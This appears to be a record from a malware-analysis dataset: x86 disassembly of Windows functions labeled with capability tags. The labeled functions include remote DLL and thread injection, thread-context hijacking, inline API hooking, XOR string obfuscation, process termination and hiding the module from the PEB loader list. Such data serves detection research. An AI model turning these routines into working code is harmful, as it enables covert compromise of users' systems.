joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005db80
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x944
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test eax, eax
je 0x1005dd76
push eax
push 0x18
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1005dd76
push 0x424
lea eax, [ebp - 0x93c]
push 0
push eax
call fcn.1006fc00
add esp, 0xc
mov dword [ebp - 0x940], 0x428
lea eax, [ebp - 0x940]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
nop dword [eax]
push 0x1f4
lea eax, [ebp - 0x518]
push 0
push eax
call fcn.1006fc00
xor ecx, ecx
add esp, 0xc
cmp word [ebp - 0x720], cx
je 0x1005dc2c
lea eax, [ebp - 0x720]
nop word [eax + eax]
mov al, byte [eax]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x519], al
lea eax, [ebp - 0x720]
cmp word [eax + ecx*2], 0
lea eax, [eax + ecx*2]
jne 0x1005dc10
lea edx, [ebp - 0x518]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1005dc35
sub edx, ecx
xor ecx, ecx
test edx, edx
js 0x1005dc61
mov al, byte [ebp + ecx - 0x518]
cmp al, 0x41
jl 0x1005dc5c
cmp al, 0x5a
jg 0x1005dc5c
add al, 0x20
mov byte [ebp + ecx - 0x518], al
inc ecx
cmp ecx, edx
jle 0x1005dc44
push 0x1f4
lea eax, [ebp - 0x320]
push 0
push eax
call fcn.1006fc00
xor ecx, ecx
add esp, 0xc
cmp word [ebp - 0x920], cx
je 0x1005dcac
lea eax, [ebp - 0x920]
nop dword [eax + eax]
mov al, byte [eax]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x321], al
lea eax, [ebp - 0x920]
cmp word [eax + ecx*2], 0
lea eax, [eax + ecx*2]
jne 0x1005dc90
lea edx, [ebp - 0x320]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1005dcb5
sub edx, ecx
xor ecx, ecx
test edx, edx
js 0x1005dce1
mov al, byte [ebp + ecx - 0x320]
cmp al, 0x41
jl 0x1005dcdc
cmp al, 0x5a
jg 0x1005dcdc
add al, 0x20
mov byte [ebp + ecx - 0x320], al
inc ecx
cmp ecx, edx
jle 0x1005dcc4
movups xmm0, xmmword [ebp - 0x320]
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x518]
movups xmmword [ebp - 0x124], xmm0
push eax
movups xmm0, xmmword [ebp - 0x310]
lea eax, [ebp - 0x104]
push eax
movups xmmword [ebp - 0x114], xmm0
call fcn.1002c420
mov eax, dword [0x101d9888]
add esp, 8
cmp eax, dword [0x101d988c]
jne 0x1005dd37
push ecx
call fcn.1005ead0
mov eax, dword [0x101d9888]
test eax, eax
je 0x1005dd4f
mov edi, eax
lea esi, [ebp - 0x128]
mov ecx, 0x4a
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x101d9888]
add eax, 0x128
mov dword [0x101d9888], eax
lea eax, [ebp - 0x940]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1005dbe0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005e120
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1584
call fcn.1008e5d0
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x1000
lea eax, [ebp - 0x1580]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1005e15a
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x1005e242
nop word [eax + eax]
mov eax, dword [ebp + esi*4 - 0x1580]
test eax, eax
je 0x1005e239
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1005e232
push 0x104
lea eax, [ebp - 0x378]
push eax
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1005e232
lea ecx, [ebp - 0x378]
call fcn.10062f50
push eax
lea eax, [ebp - 0x48]
push 0x100a7acc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea edx, [ebp - 0x580]
lea ecx, [ebp - 0x378]
call fcn.10062d80
add esp, 4
test al, al
je 0x1005e232
mov eax, dword [ebp + esi*4 - 0x1580]
movups xmm0, xmmword [ebp - 0x48]
mov dword [ebp - 0x170], eax
lea eax, [ebp - 0x580]
push eax
movups xmmword [ebp - 0x16c], xmm0
lea eax, [ebp - 0x14c]
movups xmm0, xmmword [ebp - 0x38]
push 0x100ab9b8
push eax
movups xmmword [ebp - 0x15c], xmm0
call fcn.1002c420
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
call fcn.1005ea70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, ebx
jl 0x1005e170
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005e250
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push edi
push 0
push 0
push 3
push 0
push 1
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1005e28c
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x1005e295
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x1005e2c0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x1005e340
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1005e339
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp + 8], eax
cmp dword [eax], 0x4550
jne 0x1005e339
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x1005e309
mov edx, 0x8664
cmp cx, dx
jne 0x1005e339
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x1005e339
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp + 8]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1005e357
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x20
push dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x1005e33a
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x28]
add ecx, dword [eax + 0x34]
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1005eed0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.1008e5d0
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x1000
lea eax, [ebp - 0x1014]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1005ef0c
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp - 8]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x1005ef73
nop dword [eax + eax]
mov edi, dword [ebp + esi*4 - 0x1014]
test edi, edi
je 0x1005ef6e
push edi
lea eax, [ebp - 0x10]
push eax
call fcn.1005f1f0
test al, al
jne 0x1005ef6e
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
mov dword [ebp - 0xc], eax
call fcn.1005f270
push ecx
push dword [ebp + esi*4 - 0x1014]
call fcn.1005ef80
test al, al
je 0x1005ef01
push ecx
push dword [ebp + esi*4 - 0x1014]
call fcn.1005d730
test al, al
je 0x1005ef01
inc esi
cmp esi, ebx
jl 0x1005ef20
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1005f020
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1108
call fcn.1008e5d0
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 4], 0
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x1005f05c
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 4]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x1005f0c5
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x1005f0c0
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1005f0b7
test dl, dl
je 0x1005f0b3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1005f0b7
add ecx, 2
add eax, 2
test dl, dl
jne 0x1005f097
xor eax, eax
jmp 0x1005f0bc
sbb eax, eax
or eax, 1
test eax, eax
je 0x1005f0d0
inc esi
cmp esi, edi
jl 0x1005f070
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1005f0e0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1005f123
push 0
push ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1005f12c
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push 0x100abac8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1005f115
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x1005f115
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push esi
test eax, eax
jne 0x1005f11d
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc

Function at 0x1005fd10
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x404
push ebx
push esi
mov ebx, ecx
lea ecx, [esp + 0xc]
push edi
call fcn.100306e0
mov esi, dword [ebp + 8]
lea eax, [ebx + 0x4dec]
push ecx
push eax
push esi
lea ecx, [esp + 0x1c]
call fcn.10030900
test al, al
je 0x1005fd77
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1005fd77
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x4de8
je 0x1005fd82
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0x4de8
lea esi, [ebx + 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005fd70
mov ecx, 0x4de8
nop word [eax + eax]
mov al, byte [esi]
lea esi, [esi + 1]
add al, 0x78
xor al, 0xb3
mov byte [esi - 1], al
sub ecx, 1
jne 0x1005fdb0
call fcn.1005bfa0
lea eax, [ebx + 0x90]
push eax
call fcn.1005c020
lea eax, [ebx + 0x1a58]
push eax
call fcn.1005c080
lea eax, [ebx + 0x3420]
push eax
call fcn.1005c0e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov byte [ebx + 0x4df0], 0
mov al, 1
mov dword [ebx + 0x4df4], 0
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10060280
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov edx, 0x19
push 0xffffffffffffffff
push 0x10092878
push eax
mov dword fs:[0], esp
sub esp, 0x38
xor ecx, ecx
mov al, byte [ecx + str.rlqklsUCQPPV]
xor al, dl
mov byte [ebp + ecx - 0x33], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x100602a2
mov byte [ebp - 0x25], 0
mov edx, 0x12
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.uwezbk7wp]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x100602d0
push esi
push edi
lea eax, [ebp - 0x33]
mov byte [ebp - 0x19], 0
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x2b], 0
xorps xmm0, xmm0
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x33], xmm0
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
test edi, edi
je 0x10060363
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [edi + 5]
mov dword [0x101d9604], eax
lea eax, [ebp - 0x10]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x10060270
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push 5
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101d9a00]
cmp eax, 0x927c0
jb 0x1006037f
call esi
mov dword [0x101d9a00], eax
cmp dword [0x101d26f8], 0
pop edi
pop esi
je 0x10060413
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 1
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], 0
push eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
mov eax, dword [0x101d2708]
mov edx, dword [0x101d26fc]
mov dword [0x101d270c], eax
call fcn.1005ffc0
test al, al
je 0x10060402
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x20]
je 0x10060402
lea ecx, [ebp - 0x24]
call fcn.10060430
push dword [ebp - 0x14]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x24]
call fcn.10060820
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10060ab0
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10092898
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push esi
push 0x94
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.1006fc00
add esp, 0xc
mov dword [ebp - 0x128], 0x94
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x58]
mov ecx, esi
mov edx, dword [ebp - 0x54]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [ebp - 0x50]
push ecx
sbb edx, dword [ebp - 0x4c]
xor ecx, ecx
shrd esi, edx, 0x14
push esi
push dword [ebp - 0x11c]
shr edx, 0x14
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push str.1.8.0
call fcn.10064250
push eax
push 0
push 0x101cd6e8
call fcn.1005bcf0
add esp, 0x24
mov edx, 0x3b
xor ecx, ecx
mov al, byte [ecx + str._tL_7_0_r_egm:]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10060b62
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0
call fcn.10063380
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0x101cd6e8
call fcn.1005bcf0
add esp, 0x10
mov edx, 0x72
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.____25_Z]
xor cl, dl
mov byte [ebp + eax - 0x90], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x2f
jb 0x10060bb0
push dword [0x101d27ac]
lea eax, [ebp - 0x90]
mov byte [ebp - 0x61], 0
push dword [0x101d27a8]
push eax
push 0
push 0x101cd6e8
call fcn.1005bcf0
mov ecx, dword [ebp - 0xc]
add esp, 0x14
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10061460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x100615c2
lea eax, [esp + 0x50]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x14]
push eax
push dword [ebx + 4]
mov dword [esp + 0x18], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x100615b4
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0x10]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10061540
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x26], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x10061562
lea eax, [esp + 0x26]
mov byte [esp + 0x4f], 0
push eax
push esi
call fcn.1002c420
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10061592
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10061610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
push dword [ebp + 0x18]
mov edi, dword [0x101d93d8]
mov esi, ecx
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call fcn.1007b906
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esi + 0x120], eax
xor eax, eax
test ecx, ecx
jne 0x10061692
mov edx, 0x73
nop
mov al, byte [ecx + 0x100abd04]
xor al, dl
mov byte [ebp + ecx - 0x27], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10061650
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x27]
mov byte [ebp - 0x14], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov dword [ebp - 0x17], 0
movups xmmword [ebp - 0x27], xmm0
jmp 0x1006172d
cmp ecx, 1
jne 0x100616e2
mov edx, 3
xor ecx, ecx
nop
mov al, byte [ecx + str.Ptigt_URd_Ln_pd]
xor al, dl
mov byte [ebp + ecx - 0x13], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x100616a0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x13]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 3], 0
movups xmmword [ebp - 0x13], xmm0
mov byte [ebp - 1], 0
jmp 0x1006172d
cmp ecx, 2
jne 0x1006172d
mov edx, 0xdf
xor ecx, ecx
nop
mov al, byte [ecx + 0x100abd34]
xor al, dl
mov byte [ebp + ecx - 0x3b], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x100616f0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x28], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov dword [ebp - 0x2b], 0
movups xmmword [ebp - 0x3b], xmm0
push eax
mov ecx, esi
call fcn.10061890
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x10061776
cmp dword [0x101d9794], 0
je 0x10061776
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x101d9794]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x100623f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x12c], pe_nt_image_headers32
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10062479
nop word [eax + eax]
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10062467
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x124]
cmp ecx, eax
je 0x10062467
cmp ecx, dword [ebp + 8]
jne 0x10062467
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10062430
push edi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10062550
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
mov edx, 0xd6
xor eax, eax
mov cl, byte [eax + 0x100abd78]
xor cl, dl
mov byte [ebp + eax - 0x13], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10062560
push esi
push 0x3f6f044f
lea ecx, [ebp - 0x1d]
mov byte [ebp - 1], 0
call fcn.10059060
lea ecx, [ebp - 0x13]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x15], 0
add esi, dword [ebp + 0x24]
lea eax, [ebp - 0x24]
push eax
push 0x40
xorps xmm0, xmm0
mov word [ebp - 3], 0
push 0x100
push esi
movq qword [ebp - 0x1d], xmm0
movups xmmword [ebp - 0x13], xmm0
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp + 0x20]
push 0
push dword [ebp + 0x18]
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x240]
pop esi
mov esp, ebp
pop ebp
ret 0x20

Function at 0x10062640
Capabilities:
Access peb ldr_data

Disassembly:
push esi
mov esi, dword [0x101d93d8]
test esi, esi
je 0x100626b6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100626b6
nop
cmp ecx, esi
jne 0x100626ad
mov edx, dword [eax + 4]
test edx, edx
je 0x1006266f
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1006267b
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10062687
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10062694
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100626a0
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100626ad
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10062660
pop esi
ret 4